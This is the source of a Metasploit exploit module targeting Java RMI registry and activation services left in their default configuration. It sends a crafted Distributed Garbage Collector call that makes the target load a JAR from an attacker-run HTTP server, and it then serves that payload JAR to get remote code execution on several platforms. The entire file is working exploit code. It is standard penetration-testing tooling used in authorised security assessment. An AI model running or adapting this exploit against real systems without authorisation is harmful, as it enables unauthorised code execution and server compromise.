##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Java::Rmi::Client
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Java RMI Server Insecure Default Configuration Java Code Execution',
      'Description'    => %q{
          This module takes advantage of the default configuration of the RMI Registry and
        RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
        invokes a method in the RMI Distributed Garbage Collector which is available via every
        RMI endpoint, it can be used against both rmiregistry and rmid,  and against most other
        (custom) RMI endpoints as well.

          Note that it does not work against Java Management Extension (JMX) ports since those do
        not support remote class loading, unless another RMI endpoint is active in the same
        Java process.

          RMI method calls do not support or require any sort of authentication.
      },
      'Author'         => [ 'mihi' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          # RMI protocol specification
          [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
          # Placeholder reference for matching
          [ 'MSF', 'java_rmi_server']
        ],
      'DisclosureDate' => 'Oct 15 2011',
      'Platform'       => %w{ java linux osx solaris win },
      'Privileged'     => false,
      'Payload'        => { 'BadChars' => '', 'DisableNops' => true },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' =>
        {
          'WfsDelay' => 10
        },
      'Targets'        =>
        [
          [ 'Generic (Java Payload)',
            {
              'Platform' => ['java'],
              'Arch' => ARCH_JAVA
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Mac OS X PPC (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC,
            }
          ],
          [ 'Mac OS X x86 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
            }
          ]
        ],
      'DefaultTarget'  => 0
    ))
    register_options([
      Opt::RPORT(1099),
      OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request',  10]),
    ],  self.class)
    register_common_rmi_ports_and_services
  end

  def exploit
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
      # When the server stops due to our timeout, re-raise
      # RuntimeError so it won't wait the full wfs_delay
      raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
    rescue Msf::Exploit::Failed
      # When the server stops due primer failing,  re-raise
      # RuntimeError so it won't wait the full wfs_delays
      raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
    rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
      # When the primer fails due to an error connecting with
      # the rhost,  re-raise RuntimeError so it won't wait the
      # full wfs_delays
      raise ::RuntimeError, e.message
    end
  end

  def primer
    connect

    print_status("Sending RMI Header...")
    send_header
    ack = recv_protocol_ack
    if ack.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
    end

    jar = rand_text_alpha(rand(8)+1) + '.jar'
    new_url = get_uri + '/' + jar

    print_status("Sending RMI Call...")
    dgc_interface_hash = calculate_interface_hash(
      [
        {
          name: 'clean',
          descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
          exceptions: ['java.rmi.RemoteException']
        },
        {
          name: 'dirty',
          descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
          exceptions: ['java.rmi.RemoteException']
        }
      ]
    )

    # JDK 1.1 stub protocol
    # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
    # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
    send_call(
      object_number: 2,
      uid_number: 0,
      uid_time: 0,
      uid_count: 0,
      operation: 0,
      hash: dgc_interface_hash,  # java.rmi.dgc.DGC interface hash
      arguments: build_dgc_clean_args(new_url)
    )

    return_value = recv_return

    if return_value.nil? && !session_created?
      fail_with(Failure::Unknown,  'RMI Call failed')
    end

    if return_value && return_value.is_exception? && loader_disabled?(return_value)
      fail_with(Failure::NotVulnerable,  'The RMI class loader is disabled')
    end

    if return_value && return_value.is_exception? && class_not_found?(return_value)
      fail_with(Failure::Unknown,  'The RMI class loader couldn\'t find the payload')
    end

    disconnect
  end

  def on_request_uri(cli,  request)
    if request.uri =~ /\.jar$/i
      p = regenerate_payload(cli)
      jar = p.encoded_jar
      paths = [
        [ "metasploit", "RMILoader.class" ],
        [ "metasploit", "RMIPayload.class" ],
      ]
      jar.add_files(paths, MetasploitPayloads.path('java'))

      send_response(cli, jar.pack,
      {
        'Content-Type' => 'application/java-archive',
        'Connection'   => 'close',
        'Pragma'       => 'no-cache'
      })

      print_status("Replied to request for payload JAR")
      stop_service
    end
  end

  def cleanup
    # Normally service termination should not be managed on the module's level, but this is a
    # special case.
    #
    # Originally this special service termination routine was implemented in
    # Exploit::Remote::TcpServer#stop_service, but that would actually cause all HttpServers to stop
    # if one of them attempts to register a resource that is already taken, which seems to be a
    # harsh punishment. This is why the fix is moved here.
    #
    # See references:
    # https://github.com/rapid7/metasploit-framework/pull/4203
    # https://github.com/rapid7/metasploit-framework/issues/6445
    service.stop if service

    super
  end

  def autofilter
    return true
  end

  def loader_disabled?(return_value)
    return_value.value.each do |exception|
      if exception.class == Rex::Java::Serialization::Model::NewObject &&
          exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
          exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
          [Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
          exception.class_data[1].contents.include?('RMI class loader disabled')
        return true
      end
    end

    false
  end

  def class_not_found?(return_value)
    return_value.value.each do |exception|
      if exception.class == Rex::Java::Serialization::Model::NewObject &&
          exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
          exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
        return true
      end
    end

    false
  end

  def build_dgc_clean_args(jar_url)
    arguments = []

    new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
    new_array_annotation.contents = [
      Rex::Java::Serialization::Model::NullReference.new,
      Rex::Java::Serialization::Model::EndBlockData.new
    ]

    new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
    new_array_super.description = Rex::Java::Serialization::Model::NullReference.new

    new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    new_array_desc.class_name =  Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
    new_array_desc.serial_version = 0x871300b8d02c647e
    new_array_desc.flags = 2
    new_array_desc.fields = []
    new_array_desc.class_annotation = new_array_annotation
    new_array_desc.super_class = new_array_super

    array_desc = Rex::Java::Serialization::Model::ClassDesc.new
    array_desc.description = new_array_desc

    new_array = Rex::Java::Serialization::Model::NewArray.new
    new_array.type = 'java.rmi.server.ObjID;'
    new_array.values = []
    new_array.array_description = array_desc

    arguments << new_array
    arguments << Rex::Java::Serialization::Model::BlockData.new(nil,  "\x00\x00\x00\x00\x00\x00\x00\x00")

    new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
    new_class_desc.serial_version = 0xa16544ba26f9c2f4
    new_class_desc.flags = 2
    new_class_desc.fields = []
    new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    new_class_desc.class_annotation.contents = [
      Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
      Rex::Java::Serialization::Model::EndBlockData.new
    ]
    new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new

    new_object = Rex::Java::Serialization::Model::NewObject.new
    new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    new_object.class_desc.description = new_class_desc
    new_object.class_data = []

    arguments << new_object

    arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")

    arguments
  end

end
